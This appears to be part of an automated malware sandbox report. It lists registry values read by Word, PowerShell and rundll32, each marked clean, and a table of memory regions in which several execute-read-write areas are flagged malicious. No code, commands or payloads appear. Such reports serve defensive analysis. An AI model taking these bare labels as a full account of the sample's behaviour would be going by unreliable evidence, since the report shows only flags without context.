C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4A59
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F4A59
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\system32\qagentrt.dll,-10
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\fveui.dll,-843
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\fveui.dll,-844
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\wuaueng.dll,-400
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
clean
There are 336 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
220000
unkown
page execute and read and write
malicious
320000
unkown
page execute and read and write
malicious
230000
unkown
page execute and read and write
malicious
200000
unkown
page execute and read and write
malicious
210000
unkown
page execute and read and write
malicious
2F0000
unkown
page execute and read and write
malicious
260000
unkown
page execute and read and write
malicious
400000
unkown image
page execute and read and write
malicious
720000
unkown image
page execute and read and write
malicious
400000
unkown image
page execute and read and write
malicious
1E0000
unkown
page execute and read and write
malicious
230000
unkown
page execute and read and write
malicious
3A0000
unkown
page execute and read and write
malicious
280000
unkown image
page execute and read and write
malicious
870000
unkown image
page execute and read and write
malicious
370000
unkown
page execute and read and write
malicious
2F0000
unkown
page execute and read and write
malicious
2D0000
unkown image
page execute and read and write
malicious
22C0000
unkown
page read and write
clean
480000
heap default
page read and write
clean
2E99000
unkown
page read and write
clean
464000
unkown image
page read and write
clean
390000
heap private
page read and write
clean
423000
unkown image
page execute read
clean
3D0000
heap private
page read and write
clean
1F0000
unkown
page readonly
clean
2EFC000
unkown
page read and write
clean
1CB7E000
unkown
page read and write
clean
1BC000
stack
page read and write
clean
35BF000
unkown
page read and write
clean
420000
unkown image
page execute and read and write
clean
3487000
unkown
page read and write
clean
870000
heap private
page read and write
clean
35C2000
unkown
page read and write
clean
BB0000
heap private
page read and write
clean
2574000
heap private
page read and write
clean
2EF3000
unkown
page read and write
clean
534000
heap default
page read and write
clean
2F85000
unkown
page read and write
clean
3F0000
heap private
page read and write
clean
130000
unkown
page execute and read and write
clean
22C0000
unkown
page read and write
clean
7FF0004C000
unkown
page execute and read and write
clean
1BE0000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
2385000
unkown
page read and write
clean
2F7C000
unkown
page read and write
clean
43F000
stack
page read and write
clean
2CE0000
heap private
page read and write
clean
276000
unkown
page read and write
clean
1E0000
unkown
page readonly
clean
7FF001C0000
unkown
page read and write
clean
1DC7000
unkown
page readonly
clean
2F20000
unkown
page read and write
clean
1CBB3000
heap private
page read and write
clean
287F000
unkown
page read and write
clean
4B9000
unkown
page read and write
clean
7A7000
heap default
page read and write
clean
2570000
unkown
page readonly
clean
276000
unkown
page read and write
clean
2E4000
unkown image
page read and write
clean
7FF000F0000
unkown
page read and write
clean
22A0000
unkown
page read and write
clean
423000
unkown image
page execute read
clean
440000
unkown
page readonly
clean
12C05000
unkown
page read and write
clean
3149000
unkown
page read and write
clean
90000
unkown
page readonly
clean
200000
unkown
page read and write
clean
2312000
heap private
page read and write
clean
2DAD000
stack
page read and write
clean
9E0000
heap private
page read and write
clean
547000
heap default
page read and write
clean
20000
unkown
page readonly
clean
AB0000
heap private
page read and write
clean
3554000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
2F4D000
unkown
page read and write
clean
390000
unkown
page readonly
clean
160000
unkown
page readonly
clean
7FF001A0000
unkown
page read and write
clean
7FF00040000
unkown
page read and write
clean
742000
unkown image
page execute and read and write
clean
30D6000
unkown
page read and write
clean
2592000
heap private
page read and write
clean
7FF00260000
unkown
page execute and read and write
clean
420000
unkown
page read and write
clean
4D4000
heap default
page read and write
clean
2E30000
unkown
page read and write
clean
78A000
unkown image
page readonly
clean
E68000
heap private
page read and write
clean
1F10000
unkown
page readonly
clean
1C88E000
unkown
page read and write
clean
380000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
338000
unkown image
page write copy
clean
81B000
heap default
page read and write
clean
A0000
heap default
page read and write
clean
90000
unkown
page read and write
clean
20000
unkown
page readonly
clean
464000
unkown image
page read and write
clean
23C000
unkown
page read and write
clean
870000
unkown image
page readonly
clean
3B0000
heap private
page read and write
clean
466000
unkown image
page read and write
clean
740000
unkown image
page execute and read and write
clean
7FF00100000
unkown
page read and write
clean
120000
heap private
page read and write
clean
3508000
unkown
page read and write
clean
46A000
unkown image
page readonly
clean
2EDE000
unkown
page read and write
clean
7FF001D0000
unkown
page execute and read and write
clean
7D7000
heap default
page read and write
clean
B30000
heap private
page read and write
clean
2D0000
heap default
page read and write
clean
22C0000
unkown
page read and write
clean
2A2000
unkown image
page execute and read and write
clean
7FF00290000
unkown
page execute and read and write
clean
34FF000
unkown
page read and write
clean
2364000
unkown
page read and write
clean
210000
unkown
page read and write
clean
7FF000F2000
unkown
page execute and read and write
clean
4BA000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
468000
unkown image
page write copy
clean
7FF00170000
unkown
page read and write
clean
2A7000
heap default
page read and write
clean
2F82000
unkown
page read and write
clean
400000
unkown
page readonly
clean
8D4000
unkown image
page read and write
clean
3C0000
heap default
page read and write
clean
2DE0000
heap private
page read and write
clean
491000
heap default
page read and write
clean
26E0000
unkown
page read and write
clean
8D8000
unkown image
page write copy
clean
235F000
unkown
page read and write
clean
3FE000
heap default
page read and write
clean
2410000
unkown
page readonly
clean
640000
unkown
page readonly
clean
2FA6000
unkown
page read and write
clean
1B4B5000
unkown
page read and write
clean
2F2D000
unkown
page read and write
clean
1C46000
unkown
page read and write
clean
400000
unkown
page readonly
clean
1B470000
unkown
page read and write
clean
110000
unkown
page execute and read and write
clean
2570000
heap private
page read and write
clean
1BC00000
heap private
page read and write
clean
2A70000
heap private
page execute and read and write
clean
1AC60000
unkown
page read and write
clean
6B0000
unkown
page readonly
clean
930000
unkown
page read and write
clean
A87000
unkown
page readonly
clean
450000
heap default
page read and write
clean
311D000
unkown
page read and write
clean
39E2000
unkown
page read and write
clean
7FF00230000
unkown
page read and write
clean
49D000
heap default
page read and write
clean
2A6C000
unkown
page read and write
clean
4C0000
unkown
page readonly
clean
320000
unkown
page readonly
clean
A10000
unkown
page readonly
clean
1D67000
unkown
page readonly
clean
90000
unkown
page read and write
clean
99F000
unkown
page read and write
clean
466000
unkown image
page read and write
clean
3DE000
unkown
page read and write
clean
7FFFFF00000
unkown
page execute and read and write
clean
2FCF000
unkown
page read and write
clean
610000
unkown
page readonly
clean
1C0000
unkown
page read and write
clean
240000
heap private
page read and write
clean
2F3000
unkown image
page execute read
clean
1B940000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
A3E000
unkown
page read and write
clean
422000
unkown image
page execute and read and write
clean
670000
unkown
page readonly
clean
1D20000
unkown
page read and write
clean
20000
unkown
page readonly
clean
29AE000
stack
page read and write
clean
F0000
unkown
page write copy
clean
60000
unkown
page readonly
clean
3544000
unkown
page read and write
clean
340000
heap private
page read and write
clean
28E0000
unkown
page readonly
clean
2330000
unkown
page readonly
clean
7FF00280000
unkown
page read and write
clean
580000
unkown
page readonly
clean
E60000
heap private
page read and write
clean
2EDA000
unkown
page read and write
clean
2380000
unkown
page read and write
clean
D10000
unkown
page read and write
clean
352B000
unkown
page read and write
clean
1D8B000
unkown
page readonly
clean
